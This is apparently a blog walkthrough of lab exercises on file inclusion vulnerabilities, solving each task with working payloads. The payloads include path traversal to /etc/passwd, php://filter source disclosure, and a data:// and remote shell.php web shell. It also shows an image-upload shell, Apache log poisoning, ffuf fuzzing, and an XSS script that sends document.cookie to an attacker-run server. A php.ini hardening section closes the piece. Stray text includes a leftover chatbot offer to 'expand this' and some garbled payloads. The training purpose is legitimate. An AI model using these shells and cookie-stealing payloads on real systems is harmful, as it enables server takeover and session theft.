File Inclusion is one of those vulnerabilities that often hides in plain sight. At first, it might look like just another piece of functionality within a web application—allowing users to load files or dynamic content. However, when not handled securely, this feature can open the door to serious security risks.
In simple terms, file inclusion happens when an application dynamically loads files based on user input without proper validation. Attackers can exploit this by tricking the application into including unintended files, which may expose sensitive data or even allow remote code execution.
Because it often blends in with the normal behavior of a web app, file inclusion is easy to overlook during development and testing. Yet, it remains a critical weakness that penetration testers and security professionals should always keep an eye out for.
Local File Inclusion (LFI)
Now that we have a clear understanding of what File Inclusion vulnerabilities are and how they arise, it’s time to move beyond theory and into practice. The next step is to explore how these vulnerabilities can actually be exploited in real-world scenarios.
By carefully manipulating file inclusion points within a web application, an attacker can often force the server to reveal the contents of sensitive local files. This could range from configuration files containing database credentials to system files that give valuable insight into the environment running on the back end.
Learning how to exploit these flaws not only sharpens your penetration testing skills but also highlights just how dangerous a seemingly harmless feature can become if proper security measures are not in place. In the following sections, we’ll walk through practical techniques for leveraging file inclusion to read local files, giving you the hands-on knowledge to spot and test for this vulnerability in the field.
Usando a inclusão de arquivo, encontre o nome de um usuário no sistema que começa com “b”.
Let’s try to find a place to use LFI vulnerability.

Click the Language tab and choose any option. We want to try the payload informed in the exercise.

Our input may be appended after a different string. For example, it may be used with a prefix to get the full filename. In this case, if we try to traverse the directory with ../../../etc/passwd.

Submit the contents of the flag.txt file located in the /usr/share/flags directory.
Just replace the payload that we use in the last exercise to find the flag.

Basic Bypasses
In the previous section, we explored different types of attacks that can be launched against Local File Inclusion (LFI) vulnerabilities. These payloads work well in many scenarios, but in the real world, things are rarely that straightforward.
Often, web applications implement various security mechanisms specifically designed to block file inclusion attempts. As a result, our standard LFI payloads may not deliver the expected results. However, just because protections are in place doesn’t necessarily mean the application is fully secure.
If the defenses are not properly implemented—or if there are overlooked weaknesses—attackers can still find creative ways to bypass these restrictions. By manipulating inputs, encoding payloads, or chaining different techniques, it’s often possible to slip past the filters and successfully exploit file inclusion.
This is why penetration testers should never stop at the first failed attempt. Instead, testing for bypass techniques is essential, as even a partially flawed protection system can leave the door open to serious exploitation.
The above web application employs more than one filter to avoid LFI exploitation. Try to bypass these filters to read /flag.txt
In that case, there’s a filter that replace ../ for ‘ ‘.

So we need to by pass this control. So, let’s try ….//

Just replace the payload to the file that you want to read.

PHP Filters
A large portion of today’s popular web applications are built using PHP, often powered by modern frameworks like Laravel or Symfony. While these frameworks bring structure and efficiency to web development, they also inherit PHP’s quirks—including the potential misuse of powerful features like wrappers.
If we discover an LFI (Local File Inclusion) vulnerability in a PHP-based application, these wrappers can become a game-changer. Instead of being limited to reading local files, we can leverage wrappers to extend the scope of exploitation, sometimes even pushing all the way to remote code execution (RCE).
What Are PHP Wrappers?
PHP Wrappers provide access to different I/O streams at the application level. Developers use them for interacting with files, memory streams, network resources, and even input/output operations. For a penetration tester, however, these same wrappers open up entirely new attack surfaces.
With the right payloads, we can:
- Read PHP source code that would normally be executed server-side and hidden from the user.
- Bypass LFI restrictions by loading files through alternative streams.
- Execute system commands indirectly, turning a file inclusion bug into full-blown system compromise.
And this goes beyond LFI. PHP wrappers can also be abused in other attacks such as XXE (XML External Entity attacks), making them a versatile tool in the arsenal of an attacker.
What’s Next?
In this section, we’ll start with the basics—using PHP filters to reveal raw source code that the application tries to hide. Then, in the following section, we’ll dig deeper into other PHP wrappers that can escalate an LFI vulnerability into something much more powerful: remote code execution.
Fuzz the web application for other php scripts, and then read one of the configuration files and submit the database password as the answer
Click on the link to get comment area.

Now we need to find out which field is susceptible to XSS. Start a web server on your machine:
sudo php -S 0.0.0.0:80
Put te code bellow on each field. And click on the button “Post Comment”
"><script src="http://127.0.0.1/comment"></src>
"><script src="http://127.0.0.1/name"></src>
"><script src="http://127.0.0.1/email"></src>
"><script src="http://127.0.0.1/website"></src>

It gave an error about the email, so I’ll replace that with test@test.com

$ sudo php -S 0.0.0.0:80
[Sat Aug 16 18:43:23 2025] PHP 8.4.6 Development Server (http://0.0.0.0:80) started
[Sat Aug 16 18:48:15 2025] 127.0.0.1:34636 Accepted
[Sat Aug 16 18:48:15 2025] 127.0.0.1:34636 [404]: GET /website - No such file or directory
[Sat Aug 16 18:48:15 2025] 127.0.0.1:34636 Closing
[Sat Aug 16 18:48:15 2025] 127.0.0.1:34638 Accepted
[Sat Aug 16 18:48:15 2025] 127.0.0.1:34638 [404]: GET /website - No such file or directory
[Sat Aug 16 18:48:15 2025] 127.0.0.1:34638 Closing
So, it looks like the ‘website’ field is vulnerable. Now, we know this was triggered by an admin user, so we’ll try to steal their session. I’ll host a file called script.js:
new Image().src=’http://127.0.0.1/index.php?c=’+document.cookie;
GNU nano 8.4
new Image().src='http://127.0.0.1/index.php?c='+document.cookie;
And change the script in the fields
"><script src=http://127.0.0.1/script.js></src>

$ sudo php -S 0.0.0.0:80
[Sat Aug 16 18:52:07 2025] PHP 8.4.6 Development Server (http://0.0.0.0:80) started
[Sat Aug 16 18:52:09 2025] 127.0.0.1:34724 Accepted
[Sat Aug 16 18:52:09 2025] 127.0.0.1:34724 [200]: GET /script.js
[Sat Aug 16 18:52:09 2025] 127.0.0.1:34724 Closing
[Sat Aug 16 18:52:09 2025] 127.0.0.1:34726 Accepted
[Sat Aug 16 18:52:09 2025] 127.0.0.1:34726 [404]: GET /index.php?c=wordpress_test_cookie=WP%20Cookie%20check;%20wp-settings-time-2=1755318150;%20flag=[REDACTED] - No such file or directory
[Sat Aug 16 18:52:09 2025] 127.0.0.1:34726 Closing
PHP Wrappers
Up until now in this module, we’ve focused on exploiting File Inclusion vulnerabilities to read sensitive local files from the back-end server. While that alone can expose valuable information, attackers often aim for something far more powerful: executing code directly on the server and taking control of it.
From this point forward, we’ll shift gears and explore how file inclusion flaws can be leveraged not just for disclosure, but for remote code execution (RCE).
From File Disclosure to Code Execution
There are multiple ways to turn an LFI vulnerability into code execution, and the exact approach usually depends on the back-end language, the framework in use, and the capabilities of the vulnerable function.
One of the simpler (and surprisingly common) methods is to use the vulnerability for credential harvesting. For instance, by enumerating files like config.php, an attacker might uncover database credentials. If a developer reuses that same password for their system account, it could allow the attacker to log into the server via SSH. Similarly, poorly protected SSH keys (id_rsa files) stored in users’ home directories can be retrieved if read permissions are not properly restricted. With these keys in hand, an attacker could establish an SSH session and gain full access.
But attackers don’t have to stop there. Beyond collecting sensitive files, it’s often possible to exploit the vulnerable inclusion function itself to run arbitrary code. This is where things become much more dangerous.
Remote Code Execution Through PHP Wrappers
As we saw in the previous section, PHP wrappers are a powerful feature that developers use for handling input/output streams. Unfortunately, when combined with an LFI bug, they can also be abused to escalate an attack from file disclosure to direct code execution.
In this section, we’ll start by focusing on RCE in PHP applications, building on what we’ve already learned about PHP filters and wrappers. We’ll walk through practical examples of how these wrappers can be used to execute malicious code remotely, transforming a simple file inclusion bug into a complete system compromise.
Try to gain RCE using one of the PHP wrappers and read the flag at /
Open the website and choose any language.
http://127.0.0.1:57259/index.php

First, as we saw in the text, we need to check if the data wrapper can be used.
Try reading the php.ini file with LFI and base64.
http://127.0.0.1:57259/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini

Then decode it and grep for allow_url_include or execute the command bellow and copy all the base64 text into a file named file.base64
curl -s "http://127.0.0.1:57259/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"
After this, verify if the property is on:
base64 -d file.base64 | grep allow_url_include
$ base64 -d file.base64 | grep allow_url_include
allow_url_include = On
If you are lazy as me, you can inject the LFI on the address bar to list all files on root folder
curl -s “http://127.0.0.1:57259/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=ls%20/”

Now we have the name of the file… just read it

Remote File Inclusion (RFI)
Up to this point, our focus has been primarily on Local File Inclusion (LFI) vulnerabilities. These flaws let us access files stored on the same server as the web application, often revealing sensitive information. However, in certain cases, the vulnerable function might allow the inclusion of remote files, leading to a Remote File Inclusion (RFI) scenario.
RFI introduces two major opportunities for an attacker:
- Internal Network Discovery and Port Scanning (SSRF-like behavior): By including remote resources, we can sometimes probe internal services or web applications that are otherwise inaccessible from the outside. This is similar to Server-Side Request Forgery (SSRF) attacks, giving attackers a foothold for further network reconnaissance.
- Remote Code Execution (RCE): Perhaps the most dangerous aspect of RFI is the ability to execute malicious code hosted on an external server. By pointing the vulnerable function to a script we control, the web application may download and execute it, giving us control over the target system.
In this section, we’ll explore techniques to leverage RFI vulnerabilities for remote code execution, extending the exploitation strategies we’ve learned with LFI. For more advanced SSRF scenarios that can also complement RFI attacks, the Server-side Attacks module provides in-depth guidance and practical examples.
Attack the target, gain command execution by exploiting the RFI vulnerability, and then look for the flag under one of the directories in /
First of all, you need to confirm whether the vulnerable application actually allows Remote File Inclusion (RFI).
Test LFI with a local file (as an initial test):
http://127.0.0.1/index.php?language=http://127.0.0.1:80/index.php
If the page includes the content of index.php and it is executed as PHP, remote execution is possible.

This indicates that we can proceed to include remote files that we create.
Confirm remote execution
Make sure that PHP is executing the content and not just displaying the code.
On the attacker server, create a PHP file that will execute commands sent via the cmd parameter:
echo '<?php system($_GET["cmd"]); ?>' > shell.php
This script will be included remotely via RFI and will allow you to run commands on the target server.
Let’s create a simple PHP server to serve the shell.
sudo python3 -m http.server 8000
$ sudo python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
127.0.0.1 - - [29/Aug/2025 23:10:44] "GET /shell.php HTTP/1.0" 200 -
127.0.0.1 - - [29/Aug/2025 23:11:18] "GET /shell.php HTTP/1.0" 200 -
Inject the command on the address bar
http://127.0.0.1/index.php?language=http://127.0.0.1:8000/shell.php&cmd=ls%20/
The exercise folder seems like a very suspicious name. Let’s see what’s inside it.
http://127.0.0.1/index.php?language=http://127.0.0.1:8000/shell.php&cmd=ls%20/exercise/

We found the file. 😀
http://127.0.0.1/index.php?language=http://127.0.0.1:8000/shell.php&cmd=cat%20/exercise/flag.txt

LFI and File Uploads
File upload functionalities are a staple in almost every modern web application. Users frequently need to upload files to configure their profiles, submit documents, or enhance their experience on the platform. While these features are convenient for legitimate users, they can also become a powerful tool for attackers when combined with other vulnerabilities, such as file inclusion bugs.
Interestingly, in some attack scenarios, the file upload form itself doesn’t need to be vulnerable. All that’s required is that the application allows files to be uploaded and that the vulnerable function on the server has code execution capabilities. In these cases, the content of the uploaded file can be executed if included through a file inclusion vulnerability—regardless of its file type or extension.
For example, imagine uploading what appears to be a harmless image file, like image.jpg. Instead of actual image data, the file contains a PHP web shell. If this file is later included via an LFI vulnerability, the embedded PHP code executes on the server, giving the attacker remote code execution (RCE).
Functions That Enable Code Execution via File Inclusion
Different programming languages provide functions for including files, some of which can execute the content of the file. The following are examples of functions that allow code execution in file inclusion scenarios:
| Language | Function | Read Content | Execute | Remote URL |
|---|---|---|---|---|
| PHP | include() / include_once() | ✅ | ✅ | ✅ |
| PHP | require() / require_once() | ✅ | ✅ | ❌ |
| NodeJS | res.render() | ✅ | ✅ | ❌ |
| Java | import | ✅ | ✅ | ✅ |
| .NET | include | ✅ | ✅ | ✅ |
Image Uploads and LFI
Uploading images is considered a safe and common practice in web applications. However, as we discussed earlier, the vulnerability here isn’t the upload functionality itself—it’s the file inclusion feature. By carefully combining file uploads with LFI, attackers can execute arbitrary code on the server, turning a seemingly innocuous feature into a serious security risk.
If you want, I can also expand this with a practical example, showing how an attacker could chain an image upload with an LFI vulnerability to execute PHP code on a server. This would make it more hands-on and engaging for your blog readers.
Use any of the techniques covered in this section to gain RCE and read the flag at /
Create an image with a reverse shell code.
echo 'GIF8' > shell.gif
Open Profile Settings tab

Choose the file that you create and click on the Upload button


Use Inspector on Chrome, to discover the place that the file was uploaded.

Go back to the inicial page and use the payload bellow
http://127.0.0.1:58204/index.php?language=./profile_images/shell.gif&cmd=ls

Now that we know that the shell is working. Let’s list the root folder.

We got the flag file name, so, we need to read it’s content.
http://127.0.0.1:58204/index.php?language=./profile_images/shell.gif&cmd=cat%20/2f40d853e2d4768d87da1c81772bae0a.txt

Log Poisoning
In earlier sections, we saw that if a vulnerable function in a PHP application has execution privileges, any included file containing PHP code will be executed instead of just being read. Building on this concept, one of the more creative attack techniques involves log poisoning (also called log file contamination).
The idea is straightforward: if we can inject PHP code into a log file that the server generates—such as an access log or error log—and then include that file through a vulnerable function, the injected code will execute with the server’s privileges.
For this attack to succeed, two key conditions must be met:
- The attacker must be able to write data that ends up inside a log file (for example, HTTP requests or user input that gets logged).
- The web application must have read access to those logs so they can be included. The exact permissions vary depending on the server configuration.
Functions That Enable Code Execution
Just like in previous exploitation scenarios, this attack relies on functions that don’t simply read files but also execute their contents. Here are some common examples across different languages and platforms:
| Language | Function | Read Content | Execute | Remote URL |
|---|---|---|---|---|
| PHP | include() / include_once() | ✅ | ✅ | ✅ |
| PHP | require() / require_once() | ✅ | ✅ | ❌ |
| NodeJS | res.render() | ✅ | ✅ | ❌ |
| Java | import | ✅ | ✅ | ✅ |
| .NET | include | ✅ | ✅ | ✅ |
Why This Matters
Log files are often overlooked as a potential attack surface, but they can be an entry point for remote code execution (RCE) if combined with file inclusion vulnerabilities. This highlights the importance of proper input validation, secure log handling, and ensuring that sensitive files like logs are not accessible or executable through the application.
Use any of the techniques covered in this section to gain RCE, then submit the output of the following command: pwd
Execute the code bellow on your terminal.
echo -n "User-Agent: " > Poison<br>curl -s "http://127.0.0.1:36016/" -H @Poison
And on your browser, open the address.
http://127.0.0.1:36016/index.php?language=/var/log/apache2/access.log&cmd=pwd

Try to use a different technique to gain RCE and read the flag at /
Use the address bellow to list the files on the root directory
http://127.0.0.1:36016/index.php?language=/var/log/apache2/access.log&cmd=ls%20/

Now that we know the files that are in the root folder, let’s read the flag.
http://127.0.0.1:36016/index.php?language=/var/log/apache2/access.log&cmd=cat%20/c85ee5082f4c723ace6c0796e3a3db09.txt

Automated Scanning
To fully grasp file inclusion attacks, it’s not enough to only rely on automated tools. It’s essential to understand how these vulnerabilities work at a deeper level—especially when the goal is to achieve remote code execution (RCE).
In many real-world cases, exploiting a file inclusion vulnerability isn’t as simple as dropping in a generic payload. Instead, it may require custom crafting that aligns with the target’s specific environment and configurations. For example, one server may handle null bytes differently than another, or certain encoding tricks may be necessary to bypass filtering mechanisms.
Security defenses such as WAFs (Web Application Firewalls) or network-level firewalls further complicate things. They may block obvious payloads, keywords, or characters. When this happens, having a strong manual understanding of how LFI and RFI work allows us to:
- Identify exactly what part of the payload is being blocked.
- Experiment with encoding, obfuscation, or alternate syntax.
- Build a custom payload tailored to the situation.
Automated Exploitation for Trivial Cases
That said, not every LFI vulnerability requires this level of manual effort. In many cases, simple or “trivial” vulnerabilities can be detected and exploited automatically. Instead of spending hours manually testing every possible variation, we can leverage tools that:
- Fuzz common payloads against parameters to quickly check for signs of file inclusion.
- Leverage wordlists of known paths and file inclusion tricks.
- Use specialized LFI exploitation tools that streamline the process.
This approach saves time and allows us to quickly filter out easy wins, so we can focus our manual efforts where they matter most—on hardened targets that require creativity and custom payload engineering.
In the next section, we’ll explore some of these automated techniques and tools that make testing for LFI vulnerabilities more efficient.
Fuzz the web application for exposed parameters, then try to exploit it with one of the LFI wordlists to read /flag.txt
Before testing for LFI, we need to identify which parameters the application accepts.
This is important because vulnerable files are usually loaded through parameters like file=, page=, doc=, lang=, etc.
We can use ffuf with a parameter wordlist (for example, from SecLists):
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://127.0.0.1:41840/index.php?FUZZ=value' -fs 2309
Explanation of the options:
-w→ specifies the wordlist with common parameters.FUZZ→ placeholder where ffuf injects the wordlist entries.-fs 2309→ filters responses by size (you need to adjust this based on the “normal” response size of the site).
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://127.0.0.1:41840/index.php?FUZZ=value' -fs 2309
________
/ ______/ Ffuf v2.1.0-dev
/ /_ ____________________
/ __/ / /| /| / _ / _ \
/ /_ / ___ /___/ / __/
\____/ /_/ \____/\___/
:: Method : GET
:: URL : http://127.0.0.1:41840/index.php?FUZZ=value
:: Wordlist : FUZZ:/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 2309
view [Status: 200, Size: 1935, Words: 515, Lines: 56, Duration: 205ms]
Progress: [6453/6453] :: Job [1/1] :: 190 req/sec :: Duration: [0:00:43] :: Errors: 0 ::
Since we discovered that the application has a parameter called view, we can now try common Local File Inclusion (LFI) payloads to see if it is vulnerable.
We’ll use the LFI-Jhaddix.txt wordlist (from SecLists), which contains a collection of known traversal payloads:
ffuf -w /opt/useful/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ \
-u 'http://127.0.0.1:41840/index.php?view=FUZZ' \
-fs 1935
Explanation of the options:
-w→ wordlist with LFI payloads.FUZZ→ placeholder replaced by each payload from the list.-fs 1935→ filters out the “normal” responses (so we only see different/interesting ones).
$ ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://127.0.0.1:41840/index.php?view=FUZZ' -fs 1935
________
/ ______/ Ffuf v2.1.0-dev
/ /_ ____________________
/ __/ / /| /| / _ / _ \
/ /_ / ___ /___/ / __/
\____/ /_/ \____/\___/
:: Method : GET
:: URL : http://127.0.0.1:41840/index.php?view=FUZZ
:: Wordlist : FUZZ:/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 1935
../../../../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 207ms]
../../../../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 210ms]
../../../../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 211ms]
../../../../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 218ms]
../../../../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 211ms]
../../../../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 211ms]
Progress: [929/929] :: Job [1/1] :: 185 req/sec :: Duration: [0:00:08] :: Errors: 0 ::
So… we discovered some payloads that we can use to read the files that are outside the application. Now, we need to try them.

We could read the file passwd. Now it’s easy, just change the name of the file to get the flag.
http://127.0.0.1:41840/index.php?view=../../../../../../../../../../../../../../../../../../../../../../flag.txt

File Inclusion Prevention
Throughout this module, we’ve explored file inclusion vulnerabilities in depth—how they arise, the methods for detecting them, and the techniques attackers can use to exploit them. We’ve seen how even seemingly minor flaws, like a poorly validated file parameter, can lead to serious security breaches, including remote code execution (RCE).
We’ve also covered advanced strategies to bypass common security measures, such as web application firewalls (WAFs) or input filters, and how clever attackers can chain vulnerabilities like Local File Inclusion (LFI) with log poisoning or file upload abuse to gain control over a system. Understanding these offensive techniques is crucial for any penetration tester or security professional, as it gives insight into the real-world impact of these vulnerabilities.
However, knowledge of exploitation alone is not enough. The ultimate goal of security testing is protection and mitigation. With the insights gained from hands-on testing, we can take meaningful steps to patch vulnerable code, strengthen configurations, and implement layered defenses. Doing so not only reduces the likelihood of file inclusion flaws appearing in the first place but also minimizes the potential damage if an attacker manages to find one.
In the following sections, we will explore practical measures for hardening applications against file inclusion attacks. These include validating user input, restricting file access, disabling unsafe functions, applying least privilege principles, and leveraging monitoring and web application firewalls. By combining these strategies, developers and security teams can transform their applications from potentially exploitable targets into resilient systems that can withstand both automated attacks and sophisticated manual exploitation attempts.
This shift from understanding the attack to implementing defenses is a critical mindset for anyone involved in secure application development or penetration testing. It ensures that the lessons learned from offensive testing translate into tangible improvements in system security.
What is the full path to the php.ini file for Apache?
Run:
ssh htd-student@127.0.0.1 # Password: password
PHP can have multiple php.ini files depending on the SAPIs (CLI vs Apache module). For Apache, you can check using PHP CLI with -i or the apache2ctl command.
This will output something like:
Loaded Configuration File => /etc/php/7.4/apache2/php.ini
That is the full path you need.
$ ssh htd-student@127.0.0.1
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ED25519 key fingerprint is SHA256:L5fkRhfweP920yfC55wP2g2ZR/kQXDGUGzVebHkSKUM.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '127.0.0.1' (ED25519) to the list of known hosts.
htd-student@127.0.0.1's password:
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-52-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat 30 Aug 2025 11:13:40 PM UTC
System load: 0.08
Usage of /: 61.6% of 3.87GB
Memory usage: 11%
Swap usage: 0%
Processes: 171
Users logged in: 0
IPv4 address for ens192: 127.0.0.1
IPv6 address for ens192: dead:beef::250:56ff:feb0:aae8
* Introducing self-healing high availability clustering for MicroK8s!
Super simple, hardened and opinionated Kubernetes for production.
https://microk8s.io/high-availability
96 updates can be installed immediately.
0 of these updates are security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Mon Nov 9 20:03:47 2020
htd-student@lfi-harden:~$ php -i | grep "Loaded Configuration File"
Loaded Configuration File =>[REDACTED]
Edit the php.ini file to block system(), then try to execute PHP Code that uses system. Read the /var/log/apache2/error.log file and fill in the blank: system() has been disabled for ________ reasons.
Edit the php.ini for Apache.
sudo nano /etc/php/7.4/apache2/php.ini
Search for the disable_functions directive in php.ini. It may look like:
;disable_functions =
Modify it to include system:
disable_functions = system
GNU nano 8.4 /etc/php/7.4/apache2/php.ini
; only set this entry, if you really want to implement such a
; callback function.
unserialize_callback_func =
; The unserialize_max_depth specifies the default depth limit for unserialized
; structures. Setting the depth limit too high may result in stack overflows
; during unserialization. The unserialize_max_depth ini setting can be
; overridden by the optional max_depth parameter in unserialize().
; A value of 0 disables the depth limit.
unserialize_max_depth = 4096
; When floats & doubles are serialized, store serialize_precision significant
; digits after the floating point. The default value ensures that when floats
; are decoded with unserialize, the data will remain the same.
; The value is also used for json_encode when encoding double values.
; If -1 is used, then a mode 0 is used which automatically select the best
; precision.
serialize_precision = -1
; open_basedir, if set, limits all file operations to the defined directory
; and below. This directive is mainly useful if used in a per-directory
; or per-virtualhost web server configuration file.
; Note: disables the realpath cache
; http://php.net/open-basedir
;open_basedir =
; This directive allows you to disable certain functions for security reasons.
; It receives a comma-delimited list of function names.
; http://php.net/disable-functions
disable_functions = system,exec,shell_exec,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_getpriority,pcntl_setpriority,proc_open,proc_close,proc_get_status,proc_nice
; This directive allows you to disable certain classes for security reasons.
; It receives a comma-delimited list of class names.
; http://php.net/disable-classes
disable_classes =
; Colors for Syntax Highlighting mode. Anything that's acceptable in
; <span style="color: #??????;"> would work.
; http://php.net/Syntax-Highlighting
Changes in php.ini only take effect after restarting Apache:
sudo systemctl restart apache2
Create a small PHP file in the web root, e.g., /var/www/html/test.php:
echo '<?php system("ls"); ?>' > /var/www/html/test.php
Then open it in a browser (or use curl):
curl http://127.0.0.1/test.php
You should see nothing or an error message in Apache logs.
Create a small PHP file in the web root, e.g., /var/www/html/test.php:
echo '' | sudo tee /var/www/html/test.php
Then open it in a browser.
http://127.0.0.1/test.php
The error log is usually at:
/var/log/apache2/error.log
You can read the last few lines:
sudo tail -n 20 /var/log/apache2/error.log
You should see something like:
system() has been disabled for security reasons
$ sudo tail -n 20 /var/log/apache2/error.log
[Sat Aug 30 23:08:30.775602 2025] [mpm_prefork:notice] [pid 937] AH00163: Apache/2.4.41 (Ubuntu) configured -- resuming normal operations
[Sat Aug 30 23:08:30.775629 2025] [core:notice] [pid 937] AH00094: Command line: '/usr/sbin/apache2'
[Sat Aug 30 23:09:54.888573 2025] [mpm_prefork:notice] [pid 993] AH00169: caught SIGTERM, shutting down
[Sat Aug 30 23:19:54.964716 2025] [mpm_prefork:notice] [pid 1503] AH00163: Apache/2.4.41 (Ubuntu) configured -- resuming normal operations
[Sat Aug 30 23:19:54.964765 2025] [core:notice] [pid 1503] AH00094: Command line: '/usr/sbin/apache2'
[Sat Aug 30 23:21:59.474275 2025] [php7:warn] [pid 1555] [client 127.0.0.1:52968] PHP Warning: system() has been disabled for [REDACTED] reasons in /var/www/html/test.php on line 1
[Sat Aug 30 23:22:07.560621 2025] [php7:warn] [pid 1566] [client 127.0.0.1:58231] script '/var/www/html/telst.php' not found or unable to stat
[Sat Aug 30 23:23:21.561066 2025] [php7:warn] [pid 1567] [client 127.0.0.1:60484] PHP Warning: system() has been disabled for [REDACTED] reasons in /var/www/html/test.php on line 1
[Sat Aug 30 23:24:10.314212 2025] [php7:warn] [pid 1569] [client 127.0.0.1:58088] PHP Warning: system() has been disabled for [REDACTED] reasons in /var/www/html/test.php on line 1
Skills Assessment – File Inclusion
In the world of Capture The Flag (CTF) competitions, each challenge is crafted to push your cybersecurity skills to the limit. This particular scenario hones in on File Inclusion vulnerabilities, combined with Log Poisoning tactics. By leveraging techniques such as Local File Inclusion (LFI), participants can escalate their access to execute code remotely, ultimately uncovering the hidden flag.
When we first navigate to the web application, it becomes apparent that the URL accepts a parameter named “page.”

Using burp site, intecerpt the request, right click on it and choose Send to Repeater

To check for a Local File Inclusion (LFI) vulnerability, we proceed by testing the application with the following URL.
http://127.0.0.1:42975/index.php?page=php://filter/read=convert.base64-encode/resource=configure

Unfortunately, our initial attempt doesn’t produce the desired result. We then move on to testing a different LFI payload.
http://127.0.0.1:42975/index.php?page=php://filter/read=convert.base64-encode/resource=configure
This time, the payload succeeds, returning an encrypted HTML response as expected.

To inspect the contents of the encrypted response, we turn to a tool like CyberChef for decryption. Once processed, the decrypted output reveals the underlying HTML structure of the page.
I take the encrypted data, paste it into CyberChef, and decrypt it to see the full HTML content.
<!DOCTYPE html>
<html lang="en">
<head>
<title>InlaneFreight</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<link rel="stylesheet" href="<https://fonts.googleapis.com/css?family=Poppins:200,300,400,700,900|Display+Playfair:200,300,400,700>">
<link rel="stylesheet" href="fonts/icomoon/style.css">
<link rel="stylesheet" href="css/bootstrap.min.css">
<link rel="stylesheet" href="css/magnific-popup.css">
<link rel="stylesheet" href="css/jquery-ui.css">
<link rel="stylesheet" href="css/owl.carousel.min.css">
<link rel="stylesheet" href="css/owl.theme.default.min.css">
<link rel="stylesheet" href="css/bootstrap-datepicker.css">
<link rel="stylesheet" href="fonts/flaticon/font/flaticon.css">
<link rel="stylesheet" href="css/aos.css">
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<div class="site-wrap">
<div class="site-mobile-menu">
<div class="site-mobile-menu-header">
<div class="site-mobile-menu-close mt-3">
<span class="icon-close2 js-menu-toggle"></span>
</div>
</div>
<div class="site-mobile-menu-body"></div>
</div>
<header class="site-navbar py-3" role="banner">
<div class="container">
<div class="row align-items-center">
<div class="col-11 col-xl-2">
<h1 class="mb-0"><a href="index.php" class="text-white h2 mb-0">InlaneFreight</a></h1>
</div>
<div class="col-12 col-md-10 d-none d-xl-block">
<nav class="site-navigation position-relative text-right" role="navigation">
<ul class="site-menu js-clone-nav mx-auto d-none d-lg-block">
<li class="active"><a href="index.php">Home</a></li>
<li><a href="index.php?page=about">About Us</a></li>
<li><a href="index.php?page=industries">Industries</a></li>
<li><a href="index.php?page=contact">Contact</a></li>
<?php
// echo '<li><a href="ilf_admin/index.php">Admin</a></li>';
?>
</ul>
</nav>
</div>
<div class="d-inline-block d-xl-none ml-md-0 mr-auto py-3" style="position: relative; top: 3px;"><a href="#" class="site-menu-toggle js-menu-toggle text-white"><span class="icon-menu h3"></span></a></div>
</div>
</div>
</div>
</header>
<div class="site-blocks-cover overlay" style="background-image: url(images/hero_bg_1.jpg);" data-aos="fade" data-stellar-background-ratio="0.5">
<div class="container">
<div class="row align-items-center justify-content-center text-center">
<div class="col-md-8" data-aos="fade-up" data-aos-delay="400">
<h1 class="text-white font-weight-light mb-5 text-uppercase font-weight-bold">Worldwide Freight Services</h1>
<p><a href="#" class="btn btn-primary py-3 px-5 text-white">Get Started!</a></p>
</div>
</div>
</div>
</div>
<?php
if(!isset($_GET['page'])) {
include "main.php";
}
else {
$page = $_GET['page'];
if (strpos($page, "..") !== false) {
include "error.php";
}
else {
include $page . ".php";
}
}
?>
<footer class="site-footer">
<div class="row pt-5 mt-5 text-center">
<div class="col-md-12">
<div class="border-top pt-5">
<p>
<!-- Link back to Colorlib can't be removed. Template is licensed under CC BY 3.0. -->
Copyright ©<script>document.write(new Date().getFullYear());</script> All rights reserved | This template is made with <i class="icon-heart" aria-hidden="true"></i> by <a href="<https://colorlib.com>" target="_blank" >Colorlib</a>
<!-- Link back to Colorlib can't be removed. Template is licensed under CC BY 3.0. -->
</p>
</div>
</div>
</footer>
</div>
<script src="js/jquery-3.3.1.min.js"></script>
<script src="js/jquery-migrate-3.0.1.min.js"></script>
<script src="js/jquery-ui.js"></script>
